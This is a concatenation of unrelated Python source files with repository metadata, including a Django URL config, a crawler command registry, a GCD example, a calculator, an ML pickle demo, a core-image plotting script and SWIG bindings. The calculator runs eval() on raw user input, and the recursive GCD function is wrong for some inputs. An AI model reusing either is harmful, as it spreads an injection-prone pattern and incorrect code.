solve_board(self.board) self.solution.assign_flags(self.board) if __name__ == '__main__': window = Display_board(700, 700, "sudoku", resizeable=False) pyglet.clock.schedule_interval(window.update, 2/ frame_rate) pyglet.app.run() Main()
[ "jle040@uit.no" ]
jle040@uit.no
a5b8f8016a604a139731ae6089707b51448c5508
5d505823a5640ee6dce32183cac76dd48211702a
/apps/permissions/urls.py
76bb2af84e33894bade640b9a66170ca542cbfba
[]
no_license
strogo/mayan
0e1ead8c1b14d2f9d3f070373a57e2614579bc2a
cdff873400f9487ea8ed770d47df343a89835008
refs/heads/master
2020-04-06T06:53:24.301196
2011-03-12T09:06:25
2011-03-12T09:06:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
829
py
from django.conf.urls.defaults import * urlpatterns = patterns('permissions.views', url(r'^role/list/$', 'role_list', (), 'role_list'), url(r'^role/create/$', 'role_create', (), 'role_create'), url(r'^role/(?P<role_id>\d+)/permissions/$', 'role_permissions', (), 'role_permissions'), url(r'^role/(?P<role_id>\d+)/edit/$', 'role_edit', (), 'role_edit'), url(r'^role/(?P<role_id>\d+)/delete/$', 'role_delete', (), 'role_delete'), url(r'^permission/(?P<permission_id>\d+)/for/(?P<app_label>[\w\-]+)/(?P<module_name>[\w\-]+)/(?P<pk>\d+)/grant/$', 'permission_grant_revoke', {'action':'grant'}, 'permission_grant'), url(r'^permission/(?P<permission_id>\d+)/for/(?P<app_label>[\w\-]+)/(?P<module_name>[\w\-]+)/(?P<pk>\d+)/revoke/$', 'permission_grant_revoke', {'action':'revoke'}, 'permission_revoke'), )
[ "Roberto.Rosario.Gonzalez@gmail.com" ]
Roberto.Rosario.Gonzalez@gmail.com
85bbae3ed6f3bfb50670f9375b6cb5cb8b856f19
cf5ceed90310006a4543d976882c85bc701efab3
/crawley/manager/commands/__init__.py
895d50c9e43e6ddd6cb692746b327145556a5241
[]
no_license
hammadk373/crawley
698b1aff51267a78f5e9f18d78f43e1dd69d75bd
f7522cfa0446b523b93e8056991f9d10e9754ff0
refs/heads/master
2021-01-18T06:52:07.753729
2011-10-28T02:37:00
2011-10-28T02:37:00
2,663,083
1
0
null
null
null
null
UTF-8
Python
false
false
774
py
""" All Crawley's commands must be here """ from crawley.manager.utils import exit_with_error from run import RunCommand from shell import ShellCommand from startproject import StartProjectCommand from syncdb import SyncDbCommand from browser import BrowserCommand class CommandsDict(dict): def __getitem__(self, key): if key in self: return dict.__getitem__(self, key) else: exit_with_error("[%s] Subcommand not valid" % (key)) commands = CommandsDict() d = { RunCommand.name : RunCommand, ShellCommand.name : ShellCommand, StartProjectCommand.name : StartProjectCommand, SyncDbCommand.name : SyncDbCommand, BrowserCommand.name : BrowserCommand, } commands.update(d)
[ "jmg.utn@gmail.com" ]
jmg.utn@gmail.com
e75a8b7eb62b91249a6c1ed047fdc38e0466edde
800a14e246e19308445eaec2456282361819a763
/05-Functions.py
a698f3fec295f43f0c439d19719166dbfc3152b7
[]
no_license
anmolrajaroraa/CorePythonMarch
76d6ae5ace773e3406ae637e715240dbef09cfe1
0f693270bdd5f21e1401d0515574945a6004fecd
refs/heads/master
2021-03-15T02:29:52.818197
2020-04-26T10:06:23
2020-04-26T10:06:23
246,817,221
0
1
null
null
null
null
UTF-8
Python
false
false
464
py
def takeInput(): first_num = input("Enter first number : ") second_num = input("Enter second number : ") return first_num, second_num def calculate(operator): x, y = takeInput() # print(xoperatory) print(eval(x + operator + y)) print(''' 1. Add 2. Subtract 3. Multiply 4. Divide ''') choice = int(input("Enter your choice : ")) operators = { 1: "+", 2: "-", 3: "*", 4: "/" } calculate(operators[choice])
[ "anmolarora1711@gmail.com" ]
anmolarora1711@gmail.com
87f99d6fbc4b1f65292544a6604083619ffac402
8f8e378c0ce4224244582c506c268edda3cc3b30
/Common/ML/Day11/k.py
7cd68c168a9b23db33a99fb633074bc7b9ee6f5f
[]
no_license
srsapireddy/Diploma-in-AI_NIELIT_Files
223318319b2d4b8647d77b99d1ba03f0d6e15cf6
9e2ed78fbe03369ebef1aa81f3417fc21bdd4107
refs/heads/master
2021-05-17T14:28:00.059617
2020-03-29T09:28:04
2020-03-29T09:28:04
250,820,401
0
0
null
null
null
null
UTF-8
Python
false
false
338
py
from sklearn.datasets import load_iris from sklearn.neighbors import KNeighborsClassifier iris=load_iris() import pickle X=iris.data y=iris.target knn=KNeighborsClassifier() knn1=KNeighborsClassifier() knn.fit(X,y) file='k1' pickle.dump(knn,open(file,'wb')) knn1=pickle.load(open(file,'rb')) p=knn1.predict([[3,2,2,1]]) print(p)
[ "sapireddyrahul@gmail.com" ]
sapireddyrahul@gmail.com
f393981cecf624006b404116a11be34f4cd139cf
51108a50ffb48ad154f587c230045bb783f22240
/bflib/units/__init__.py
036f8f8be95c9ed68fe6f955023f6bcf26da6861
[ "MIT" ]
permissive
ChrisLR/BasicDungeonRL
c90bd0866c457557cccbad24e14689d5d6db7b00
b293d40bd9a0d3b7aec41b5e1d58441165997ff1
refs/heads/master
2021-06-15T13:56:53.888646
2019-08-05T16:33:57
2019-08-05T16:33:57
104,269,987
3
0
MIT
2019-08-05T16:28:23
2017-09-20T21:35:19
Python
UTF-8
Python
false
false
247
py
from bflib.units.distance import Feet from bflib.units.mass import Pound from bflib.units.speed import FeetPerGameTurn from bflib.units.time import CombatRound, GameTurn, Minute, Second, Year, Hour from bflib.units.volume import CubicFeet, Litre
[ "arzhul@gmail.com" ]
arzhul@gmail.com
c319f7eb6adadc8d4b605cc1e85628addfd71945
71dc727f9056934cd51692f8a3d26cf0dda44ef0
/code/Chapter-12/gcd.py
d6cb90c851bef0ce5b925ec84a6df6e159789188
[ "MIT" ]
permissive
justinclark-dev/CSC110
9d255020a50bbfdb195465c3e742dd2fcd61e3a4
d738ec33b757ba8fa9cf35b2214c184d532367a0
refs/heads/master
2022-12-08T08:08:30.667241
2020-09-04T01:05:34
2020-09-04T01:05:34
232,606,910
0
1
MIT
2020-09-04T02:05:47
2020-01-08T16:28:37
Python
UTF-8
Python
false
false
512
py
# This program uses recursion to find the GCD # of two numbers. def main(): # Get two numbers. num1 = int(input('Enter an integer: ')) num2 = int(input('Enter another integer: ')) # Display the GCD. print('The greatest common divisor of') print('the two numbers is', gcd(num1, num2)) # The gcd function returns the greatest common # divisor of two numbers. def gcd(x, y): if x % y == 0: return y else: return gcd(x, x % y) # Call the main function. main()
[ "justinclark.dev@gmail.com" ]
justinclark.dev@gmail.com
d669a05b03c1f9d2e7e2d8dd02b9e46a4c3a38df
1b862f34c125ce200244dd79e4fda4b5b605ce2e
/.history/ML_T2_Validation_20210612123425.py
7e2ed079640dbedc12cc650f89d20783e9a1caef
[]
no_license
edwino26/CoreImages
26085a49cf1cb79442ae563a88354b2fdceace87
6bf6e68cac8ab36c87b1e6ea702bfe6882b0f40e
refs/heads/master
2023-06-22T12:53:37.344895
2021-07-21T04:31:44
2021-07-21T04:31:44
309,553,247
0
4
null
2021-04-29T23:23:15
2020-11-03T02:45:07
Lasso
UTF-8
Python
false
false
9,326
py
#T2 TEST DATA # %% import pandas as pd import numpy as np import matplotlib.pyplot as plt import pickle from scipy import interpolate from scipy.integrate import simps from numpy import trapz # %% #Load Stack UVStack = pd.read_excel('./ML_Results/T2_test/ImgStack.xls') ImgStackk = UVStack.copy().to_numpy() # %% def integrate(y_vals, h): i = 1 total = y_vals[0] + y_vals[-1] for y in y_vals[1:-1]: if i % 2 == 0: total += 2 * y else: total += 4 * y i += 1 return total * (h / 3.0) # %% Load and resample "results" (res) file sub = pd.read_excel('./ML_Results/T2_test/sub.xls') res = pd.read_excel('./ML_Results/T2_test/Results.xls') res = res[res.Well == 'T2'] res.sort_values(by=['DEPT']) res.drop(['Unnamed: 0', 'Set'], axis=1, inplace=True) res.reset_index(inplace=True, drop=True) dep = np.arange(min(res.DEPT), max(res.DEPT),0.5) #res is not at 0.5 thanks to balancing res_rs = pd.DataFrame(columns=[res.columns]) res_rs.DEPT = dep for i in range(len(res.columns)): if i != 8: f = interpolate.interp1d(res.DEPT, res.iloc[:,i]) res_rs.iloc[:,i] =f(dep) else: res_rs.iloc[:,i] = res.Well[0] #T2_rs.dropna(inplace=True) res = res_rs.copy() difference = res.DEPT.diff() difference.describe() # %% TT = pd.read_excel('./ML_Results/Train_Test_Results.xls') istr = 0 iend = 42344 dplot_o = 3671 dplot_n = 3750 shading = 'bone' # %% Load Log Calculations T2_x = pd.read_excel('./Excel_Files/T2.xls',sheet_name='T2_data') T2_x = T2_x[['DEPTH','GR_EDTC','RHOZ','AT90','NPHI','Vsh','Vclay','grain_density','porosity', 'RW2','Sw_a','Sw_a1','Sw_p','Sw_p1','SwWS','Swsim','Swsim1','PAY_archie', 'PAY_poupon','PAY_waxman','PAY_simandoux']] # %% T2_rs = pd.DataFrame(columns=[T2_x.columns]) T2_rs.iloc[:,0] = dep for i in range(len(T2_x.columns)): f = interpolate.interp1d(T2_x.DEPTH, T2_x.iloc[:,i]) T2_rs.iloc[:,i] =f(dep) #T2_rs.dropna(inplace=True) T2_x = T2_rs.copy() difference_T2 = T2_x.DEPTH.diff() difference.describe() # %% plt.figure() plt.subplot2grid((1, 10), (0, 0), colspan=3) plt.plot(sub['GRAY'], sub['DEPTH'], 'mediumseagreen', linewidth=0.5); plt.axis([50, 250, dplot_o, dplot_n]); plt.gca().invert_yaxis(); plt.fill_between(sub['GRAY'], 0, sub['DEPTH'], facecolor='green', alpha=0.5) plt.xlabel('Gray Scale RGB') plt.subplot2grid((1, 10), (0, 3), colspan=7) plt.imshow(ImgStackk[istr:iend,80:120], aspect='auto', origin='upper', extent=[0,1,dplot_n,dplot_o], cmap=shading); plt.axis([0, 1, dplot_o, dplot_n]); plt.gca().invert_yaxis() plt.xlabel('Processed Image') plt.colorbar() p_50 = np.percentile(sub['DEPTH'], 50) plt.yticks([]); plt.xticks([]) plt.subplots_adjust(wspace = 20, left = 0.1, right = 0.9, bottom = 0.1, top = 0.9) plt.show() # %% CORE =pd.read_excel('./CORE/CORE.xlsx',sheet_name='XRD') mask = CORE.Well.isin(['T2']) T2_Core = CORE[mask] prof=T2_Core['Depth'] clays=T2_Core['Clays'] xls1 = pd.read_excel ('./CORE/CORE.xlsx', sheet_name='Saturation') mask = xls1.Well.isin(['T2']) T2_sat = xls1[mask] long=T2_sat ['Depth'] poro=T2_sat ['PHIT'] grain=T2_sat ['RHOG'] sw_core=T2_sat ['Sw'] klinkenberg = T2_sat ['K'] minimo=grain.min() maximo=grain.max() c=2.65 d=2.75 norm=(((grain-minimo)*(d-c)/(maximo-minimo))+c) xls2 = pd.read_excel ('./CORE/CORE.xlsx', sheet_name='Gamma') mask = xls2.Well.isin(['T2']) T2_GR = xls2[mask] h=T2_GR['Depth'] cg1=T2_GR['GR_Scaled'] # %% # ~~~~~~~~~~~~~~~~~~ Plot Results ~~~~~~~~~~~~~~~~~~~~~~ ct = 0 top= dplot_o bottom= dplot_n no_plots = 9 ct+=1 plt.figure(figsize=(10,9)) plt.subplot(1,no_plots,ct) plt.plot (T2_x.GR_EDTC,T2_x.DEPTH,'g', lw=3) #plt.fill_between(T2_x.GR_EDTC.values.reshape(-1), T2_x.DEPTH.values.reshape(-1), y2=0,color='g', alpha=0.8) plt.title('$GR/ Core.GR $',fontsize=8) plt.axis([40,130,top,bottom]) plt.xticks(fontsize=8) plt.yticks(fontsize=8) plt.xlabel('Gamma Ray ',fontsize=6) plt.gca().invert_yaxis() plt.grid(True) plt.hlines(y=3665.65, xmin=0, xmax=130) plt.hlines(y=3889.5, xmin=0, xmax=130) ct+=1 plt.subplot(1,no_plots,ct) plt.plot (T2_x.PAY_poupon,T2_x.DEPTH,'r',lw=0.5) h_P = integrate(T2_x.PAY_poupon.values, 0.5) plt.title('$PAY_P$',fontsize=8) plt.fill_between(T2_x.PAY_poupon.values.reshape(-1),T2_x.DEPTH.values.reshape(-1), color='r', alpha=0.8) plt.axis([0.01,0.0101,top,bottom]) plt.xticks(fontsize=8) plt.gca().invert_yaxis() plt.gca().xaxis.set_visible(False) plt.gca().yaxis.set_visible(False) plt.grid(True) plt.hlines(y=3665.65, xmin=0, xmax=130) plt.hlines(y=3889.5, xmin=0, xmax=130) #Waxman-Smits ct+=1 plt.subplot(1,no_plots,ct) plt.plot (T2_x.PAY_waxman,T2_x.DEPTH,'g',lw=0.5) h_WS = integrate(T2_x.PAY_waxman.values, 0.5) plt.title('$PAY_W$',fontsize=8) plt.fill_between(T2_x.PAY_waxman.values.reshape(-1),T2_x.DEPTH.values.reshape(-1), color='g', alpha=0.8) plt.axis([0.01,0.0101,top,bottom]) plt.xticks(fontsize=8) plt.gca().invert_yaxis() plt.gca().xaxis.set_visible(False) plt.gca().yaxis.set_visible(False) plt.grid(True) plt.hlines(y=3665.65, xmin=0, xmax=130) plt.hlines(y=3889.5, xmin=0, xmax=130) #Simandoux ct+=1 plt.subplot(1,no_plots,ct) plt.plot (T2_x.PAY_simandoux,T2_x.DEPTH,'y',lw=0.5) h_S = integrate(T2_x.PAY_simandoux.values, 0.5) plt.title('$PAY_S$',fontsize=8) plt.fill_between(T2_x.PAY_simandoux.values.reshape(-1),T2_x.DEPTH.values.reshape(-1), color='y', alpha=0.8) plt.axis([0.01,0.0101,top,bottom]) plt.xticks(fontsize=8) plt.gca().invert_yaxis() plt.gca().xaxis.set_visible(False) plt.gca().yaxis.set_visible(False) plt.grid(True) plt.hlines(y=3665.65, xmin=0, xmax=130) plt.hlines(y=3889.5, xmin=0, xmax=130) ct+=1 #RGB Gray from Image plt.subplot(1,no_plots,ct) plt.plot(sub['GRAY'], sub['DEPTH'], 'mediumseagreen', linewidth=0.5); plt.axis([50, 250, dplot_o, dplot_n]); plt.xticks(fontsize=8) plt.title('$Core Img$',fontsize=8) plt.gca().invert_yaxis(); plt.gca().yaxis.set_visible(False) plt.fill_between(sub['GRAY'], 0, sub['DEPTH'], facecolor='green', alpha=0.5) plt.xlabel('Gray Scale RGB', fontsize=7) ct+=1 # True UV from Image plt.subplot(1,no_plots,ct) corte= 170 PAY_Gray_scale = res['GRAY'].copy() PAY_Gray_scale.GRAY[PAY_Gray_scale.GRAY<corte] = 0 PAY_Gray_scale.GRAY[PAY_Gray_scale.GRAY>=corte] = 1 h_TRUE_UV = integrate(PAY_Gray_scale.values, 0.5) plt.plot (PAY_Gray_scale,res.DEPT,'c',lw=0.5) plt.title('$PAY-GS$',fontsize=8) plt.fill_between(PAY_Gray_scale.values.reshape(-1),res.DEPT.values.reshape(-1), color='c', alpha=0.8) plt.axis([0.01,0.0101,top,bottom]) plt.xticks(fontsize=8) plt.gca().invert_yaxis() plt.gca().xaxis.set_visible(False) plt.gca().yaxis.set_visible(False) plt.grid(True) plt.xlabel('Resolution to Log Scale',fontsize=7) ct+=1 plt.subplot(1,no_plots,ct) plt.imshow(ImgStackk[istr:iend,80:120], aspect='auto', origin='upper', extent=[0,1,dplot_n,dplot_o], cmap=shading); plt.axis([0, 1, dplot_o, dplot_n]); plt.xticks(fontsize=8) plt.gca().invert_yaxis() plt.xlabel('Processed \n Image', fontsize=7) plt.colorbar() p_50 = np.percentile(sub['DEPTH'], 50) plt.yticks([]); plt.xticks([]) ct+=1 plt.subplot(1,no_plots,ct) plt.plot (res['RandomForest'],res.DEPT,'r',lw=1) plt.plot (res.GRAY,res.DEPT,'k',lw=0.5) plt.title('Machine Learning',fontsize=8) plt.axis([0,2,top,bottom]) plt.xticks(fontsize=8) plt.xlabel('RandomForest',fontsize=7) plt.gca().invert_yaxis() plt.gca().invert_xaxis() plt.gca().yaxis.set_visible(False) plt.grid(True) plt.xlim(0, 255) plt.hlines(y=3665.65, xmin=0, xmax=130) plt.hlines(y=3889.5, xmin=0, xmax=130) # %% ct+=1 plt.subplot(1,no_plots,ct, subplot_kw=dict(facecolor=".9")) PAY_Gray_scale2 = res['RandomForest'].copy().rename(columns={'RandomForest':'GRAY'}) PAY_Gray_scale2.GRAY[PAY_Gray_scale2.GRAY<corte] = 0 PAY_Gray_scale2.GRAY[PAY_Gray_scale2.GRAY>=corte] = 1 h_ML = integrate(PAY_Gray_scale2.values, 0.5) plt.plot (res.DEPT,'c',lw=0.5) plt.title('$TEST Data$',fontsize=8) plt.fill_between(PAY_Gray_scale2.values.reshape(-1),res.DEPT.values.reshape(-1), color='k', alpha=0.8) #plt.fill_between(np.ones(shape=PAY_Gray_scale2.values.reshape(-1).shape),res.DEPT.values.reshape(-1), color='c', alpha=0.8) plt.axis([0.01,0.0101,top,bottom]) plt.xticks(fontsize=8) plt.gca().invert_yaxis() plt.gca().xaxis.set_visible(False) plt.gca().yaxis.set_visible(False) plt.grid(True) plt.suptitle('Tinmiaq-2 Method Comparison') plt.show() # %% # %% plt.figure(figsize=(10,9)) plt.subplot(1,1,1) plt.plot(res.GRAY, res['RandomForest'], 'ko') plt.plot(res.GRAY, res.GRAY, 'r') plt.xlim(0, 255) plt.ylim(0, 255) plt.xlabel('Valor en Escala de Gris Suavizado a res. de Registros',fontsize=17) plt.ylabel('Predicción de Escala de Gris usando Random Forest',fontsize=17) plt.show() # %% Erro Calculation # T2_x.PAY_poupon,T2_x.DEPTH # T2_x.PAY_waxman # T2_x.PAY_simandoux def integrate(y_vals, h): i = 1 total = y_vals[0] + y_vals[-1] for y in y_vals[1:-1]: if i % 2 == 0: total += 2 * y else: total += 4 * y i += 1 return total * (h / 3.0) # %% pay = pd.DataFrame(columns=['Poupon', 'Waxman_Smits', 'Simandoux', 'Machine_L', 'True_UV']) pay.Poupon = h_P pay.Waxman_Smits = h_WS pay.Simandoux = h_S pay.Machine_L = h_ML pay.True_UV = h_TRUE_UV pay.head() #rmse['Poupon'] = mean_squared_error(y_test, y_pred_test, squared=False) # %%
[ "ortega.edwin.y@gmail.com" ]
ortega.edwin.y@gmail.com
592c8745d5076f8cd75f4ef5c08d761e8306be62
8c01836bad78ef11a8cd7f1719f8c1b6d1458b00
/src/v1/endpoints/__init__.py
76209ee4b4d3a24611e4d341d3af35e4a49d31c2
[]
no_license
Brokerly-org/RootServer
ce8bc57ee180e67faaf052d8711bbfbbe2b38df0
211c7522757b1fd4c824c6c3ff45319e1587fd2e
refs/heads/main
2023-07-15T03:16:55.118744
2021-09-01T12:29:59
2021-09-01T12:29:59
402,027,991
0
0
null
null
null
null
UTF-8
Python
false
false
76
py
from .webapp_redirect import redirect_router __all__ = ["redirect_router"]
[ "hvuhsg6@gmail.com" ]
hvuhsg6@gmail.com
fb78d2f8093b498f88e87fba3b9afa1bad9ba6e7
aad51b0ea59c38b23ed419e10b86c44aa947f117
/288/smallest.py
7003266b991249449227815267c7b365aaac4b8f
[]
no_license
berubejd/PyBites
3a1d7144f59f67a0996dbe224b69bc0b6da439d6
439446e8b67612a603713723b2d4a021677341d2
refs/heads/master
2021-07-14T14:03:51.819347
2020-11-01T14:59:02
2020-11-01T14:59:02
221,087,519
0
0
null
null
null
null
UTF-8
Python
false
false
522
py
#!/usr/bin/env python3.8 """ Bite 288. Smallest number ☆ Write a function that accepts a list of digits and returns the smallest number that can be created by combining unique digits. Therefore, you have to ignore duplicated digits. Examples: [1] => 1 [7, 1] => 17 [1, 9, 5, 9, 1] => 159 Note: An empty input list [] should return 0. """ from typing import List def minimum_number(digits: List[int]) -> int: if not digits: return 0 return int("".join(str(s) for s in sorted(set(digits))))
[ "berubejd@gmail.com" ]
berubejd@gmail.com
8551edf5634424df02be53286f98152767709fea
2443f23d928a6b3516f810e3dfdf6f4b72aa0325
/st01.Python기초/py11문자열/py11_ex01_계좌번호.py
d742160bacac7c42816e60100ccaa476d75eb4cb
[]
no_license
syuri7/Python20200209
48653898f0ce94b8852a6a43e4e806adcf8cd233
5f0184d9b235ce366e228b84c663a376a9957962
refs/heads/master
2021-01-01T10:37:59.077170
2020-03-15T09:15:50
2020-03-15T09:15:50
239,241,118
0
0
null
null
null
null
UTF-8
Python
false
false
18
py
# replace() 사용
[ "d@d" ]
d@d
210332a8e477a11cd9d18fa27771e44c7d8b322b
3fd8fd35d61d997b586e40ed8d938805ce5fdf3b
/unique_ingredients_generator.py
cf09203c8b44b54f8131bbe5e3d2071ef90ee998
[]
no_license
ChocolatePadmanaban/Cooking_Scheduler
8afd967cd5128b15c9865aa44ae3d298ee3027ad
3cd91009e68064f92408fb5bba55519ba77767c3
refs/heads/master
2023-01-03T10:55:25.306425
2020-11-01T07:13:50
2020-11-01T07:13:50
260,551,843
0
0
null
null
null
null
UTF-8
Python
false
false
849
py
import csv import os ingredient_files=os.listdir("recipe_ingredients") ingredient_dict={} for ingredient_file in ingredient_files: i_file = open('recipe_ingredients/'+ingredient_file) csv_i_file = csv.reader(i_file) for row in csv_i_file: if row[0] not in ['name', 'question']: if row[0] in ingredient_dict.keys() and row[2] != ingredient_dict[row[0]]: if type(ingredient_dict[row[0]]) == type([]): ingredient_dict[row[0]].append(row[2]) else: ingredient_dict[row[0]]=[ingredient_dict[row[0]],row[2]] else: ingredient_dict[row[0]]=row[2] i_file.close() row_format ="{:<20}" *2 for key in sorted(ingredient_dict): #print( row_format.format(key, ingredient_dict[key])) print( key, ingredient_dict[key])
[ "pradeeppadmanaban7@gmail.com" ]
pradeeppadmanaban7@gmail.com
877564edfc0d7dbde701ac67bc6a543797ef45e0
409ea8d82e5cc160028456755f9b36fd74da6258
/AI 서비스를 위한 프로그래밍 기본/test0720.py
da63291344c0bbd1f90e4385dbdb3f7b83c74619
[]
no_license
ineed-coffee/multicampus-AI-engineering
55c241c8367d099a62595032f4496f10662446f1
5dd9f6dd97910de73103235b33a5d500c205237a
refs/heads/master
2023-01-19T21:37:59.192972
2020-11-30T09:54:49
2020-11-30T09:54:49
279,185,082
1
0
null
null
null
null
UTF-8
Python
false
false
654
py
# # review # # private instance variable # class person(): # def __init__(self,name,age): # self.__name = name # self.__age = age # def show_name(self): # return self.__name # def show_age(self): # return self.__age # # inheritance # class student(): # def study(self): # print('Student studying') # class mid_student(): # def study(self): # print('Middle student studying') # #-------------------------------------------------------- # from mypackage import functions # Command = functions.sum # print(Command(1,2)) import os print(os.path.exists('user.txt'))
[ "leey93ssu@gmail.com" ]
leey93ssu@gmail.com
f127b942a329f27e40dcf63ecea4e50eed4b3e6a
0f637888c1706c3bb6ee57065013256433780b37
/test/010.py
217ec9fc83eb56cf3a181a0d34881e879ab172c2
[]
no_license
DeepxHyeon/python-100
8699e096dc79d91d874076b7a28683127b8c5ac1
bea1e5a3244e286db02fec5e263393e4c6136f59
refs/heads/master
2022-11-05T10:39:32.327252
2020-06-20T12:34:20
2020-06-20T12:34:20
266,347,629
0
0
null
null
null
null
UTF-8
Python
false
false
115
py
# 문제 010 : 별 찍기 input = int(input()) for i in range(1, input+1): print(' ' *(input-i) + '*'*(2*i-1))
[ "deepxhyeon@gmail.com" ]
deepxhyeon@gmail.com
a4ad4192e9f2cb2986df919e10909636b4d1fb1c
a3b306df800059a5b74975793251a28b8a5f49c7
/Graphs/LX-2/molecule_otsu = False/BioImageXD-1.0/ITK/lib/InsightToolkit/WrapITK/lib/pyBasePython.py
35ca356b447f6d765efef6a3bcf6e40905950a15
[]
no_license
giacomo21/Image-analysis
dc17ba2b6eb53f48963fad931568576fda4e1349
ea8bafa073de5090bd8f83fb4f5ca16669d0211f
refs/heads/master
2016-09-06T21:42:13.530256
2013-07-22T09:35:56
2013-07-22T09:35:56
11,384,784
1
1
null
null
null
null
UTF-8
Python
false
false
386,654
py
# This file was automatically generated by SWIG (http://www.swig.org). # Version 1.3.40 # # Do not make changes to this file unless you know what you are doing--modify # the SWIG interface file instead. from sys import version_info if version_info >= (3,0,0): new_instancemethod = lambda func, inst, cls: _pyBasePython.SWIG_PyInstanceMethod_New(func) else: from new import instancemethod as new_instancemethod if version_info >= (2,6,0): def swig_import_helper(): from os.path import dirname import imp fp = None try: fp, pathname, description = imp.find_module('_pyBasePython', [dirname(__file__)]) except ImportError: import _pyBasePython return _pyBasePython if fp is not None: try: _mod = imp.load_module('_pyBasePython', fp, pathname, description) finally: fp.close() return _mod _pyBasePython = swig_import_helper() del swig_import_helper else: import _pyBasePython del version_info try: _swig_property = property except NameError: pass # Python < 2.2 doesn't have 'property'. def _swig_setattr_nondynamic(self,class_type,name,value,static=1): if (name == "thisown"): return self.this.own(value) if (name == "this"): if type(value).__name__ == 'SwigPyObject': self.__dict__[name] = value return method = class_type.__swig_setmethods__.get(name,None) if method: return method(self,value) if (not static) or hasattr(self,name): self.__dict__[name] = value else: raise AttributeError("You cannot add attributes to %s" % self) def _swig_setattr(self,class_type,name,value): return _swig_setattr_nondynamic(self,class_type,name,value,0) def _swig_getattr(self,class_type,name): if (name == "thisown"): return self.this.own() method = class_type.__swig_getmethods__.get(name,None) if method: return method(self) raise AttributeError(name) def _swig_repr(self): try: strthis = "proxy of " + self.this.__repr__() except: strthis = "" return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,) try: _object = object _newclass = 1 except AttributeError: class _object : pass _newclass = 0 def _swig_setattr_nondynamic_method(set): def set_attr(self,name,value): if (name == "thisown"): return self.this.own(value) if hasattr(self,name) or (name == "this"): set(self,name,value) else: raise AttributeError("You cannot add attributes to %s" % self) return set_attr class SwigPyIterator(object): """Proxy of C++ swig::SwigPyIterator class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined - class is abstract") __repr__ = _swig_repr __swig_destroy__ = _pyBasePython.delete_SwigPyIterator def value(self): """value(self) -> PyObject""" return _pyBasePython.SwigPyIterator_value(self) def incr(self, n = 1): """ incr(self, size_t n = 1) -> SwigPyIterator incr(self) -> SwigPyIterator """ return _pyBasePython.SwigPyIterator_incr(self, n) def decr(self, n = 1): """ decr(self, size_t n = 1) -> SwigPyIterator decr(self) -> SwigPyIterator """ return _pyBasePython.SwigPyIterator_decr(self, n) def distance(self, *args): """distance(self, SwigPyIterator x) -> ptrdiff_t""" return _pyBasePython.SwigPyIterator_distance(self, *args) def equal(self, *args): """equal(self, SwigPyIterator x) -> bool""" return _pyBasePython.SwigPyIterator_equal(self, *args) def copy(self): """copy(self) -> SwigPyIterator""" return _pyBasePython.SwigPyIterator_copy(self) def next(self): """next(self) -> PyObject""" return _pyBasePython.SwigPyIterator_next(self) def __next__(self): """__next__(self) -> PyObject""" return _pyBasePython.SwigPyIterator___next__(self) def previous(self): """previous(self) -> PyObject""" return _pyBasePython.SwigPyIterator_previous(self) def advance(self, *args): """advance(self, ptrdiff_t n) -> SwigPyIterator""" return _pyBasePython.SwigPyIterator_advance(self, *args) def __eq__(self, *args): """__eq__(self, SwigPyIterator x) -> bool""" return _pyBasePython.SwigPyIterator___eq__(self, *args) def __ne__(self, *args): """__ne__(self, SwigPyIterator x) -> bool""" return _pyBasePython.SwigPyIterator___ne__(self, *args) def __iadd__(self, *args): """__iadd__(self, ptrdiff_t n) -> SwigPyIterator""" return _pyBasePython.SwigPyIterator___iadd__(self, *args) def __isub__(self, *args): """__isub__(self, ptrdiff_t n) -> SwigPyIterator""" return _pyBasePython.SwigPyIterator___isub__(self, *args) def __add__(self, *args): """__add__(self, ptrdiff_t n) -> SwigPyIterator""" return _pyBasePython.SwigPyIterator___add__(self, *args) def __sub__(self, *args): """ __sub__(self, ptrdiff_t n) -> SwigPyIterator __sub__(self, SwigPyIterator x) -> ptrdiff_t """ return _pyBasePython.SwigPyIterator___sub__(self, *args) def __iter__(self): return self SwigPyIterator.value = new_instancemethod(_pyBasePython.SwigPyIterator_value,None,SwigPyIterator) SwigPyIterator.incr = new_instancemethod(_pyBasePython.SwigPyIterator_incr,None,SwigPyIterator) SwigPyIterator.decr = new_instancemethod(_pyBasePython.SwigPyIterator_decr,None,SwigPyIterator) SwigPyIterator.distance = new_instancemethod(_pyBasePython.SwigPyIterator_distance,None,SwigPyIterator) SwigPyIterator.equal = new_instancemethod(_pyBasePython.SwigPyIterator_equal,None,SwigPyIterator) SwigPyIterator.copy = new_instancemethod(_pyBasePython.SwigPyIterator_copy,None,SwigPyIterator) SwigPyIterator.next = new_instancemethod(_pyBasePython.SwigPyIterator_next,None,SwigPyIterator) SwigPyIterator.__next__ = new_instancemethod(_pyBasePython.SwigPyIterator___next__,None,SwigPyIterator) SwigPyIterator.previous = new_instancemethod(_pyBasePython.SwigPyIterator_previous,None,SwigPyIterator) SwigPyIterator.advance = new_instancemethod(_pyBasePython.SwigPyIterator_advance,None,SwigPyIterator) SwigPyIterator.__eq__ = new_instancemethod(_pyBasePython.SwigPyIterator___eq__,None,SwigPyIterator) SwigPyIterator.__ne__ = new_instancemethod(_pyBasePython.SwigPyIterator___ne__,None,SwigPyIterator) SwigPyIterator.__iadd__ = new_instancemethod(_pyBasePython.SwigPyIterator___iadd__,None,SwigPyIterator) SwigPyIterator.__isub__ = new_instancemethod(_pyBasePython.SwigPyIterator___isub__,None,SwigPyIterator) SwigPyIterator.__add__ = new_instancemethod(_pyBasePython.SwigPyIterator___add__,None,SwigPyIterator) SwigPyIterator.__sub__ = new_instancemethod(_pyBasePython.SwigPyIterator___sub__,None,SwigPyIterator) SwigPyIterator_swigregister = _pyBasePython.SwigPyIterator_swigregister SwigPyIterator_swigregister(SwigPyIterator) class ios_base(object): """Proxy of C++ std::ios_base class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr erase_event = _pyBasePython.ios_base_erase_event imbue_event = _pyBasePython.ios_base_imbue_event copyfmt_event = _pyBasePython.ios_base_copyfmt_event def register_callback(self, *args): """register_callback(self, event_callback __fn, int __index)""" return _pyBasePython.ios_base_register_callback(self, *args) def flags(self, *args): """ flags(self) -> fmtflags flags(self, fmtflags __fmtfl) 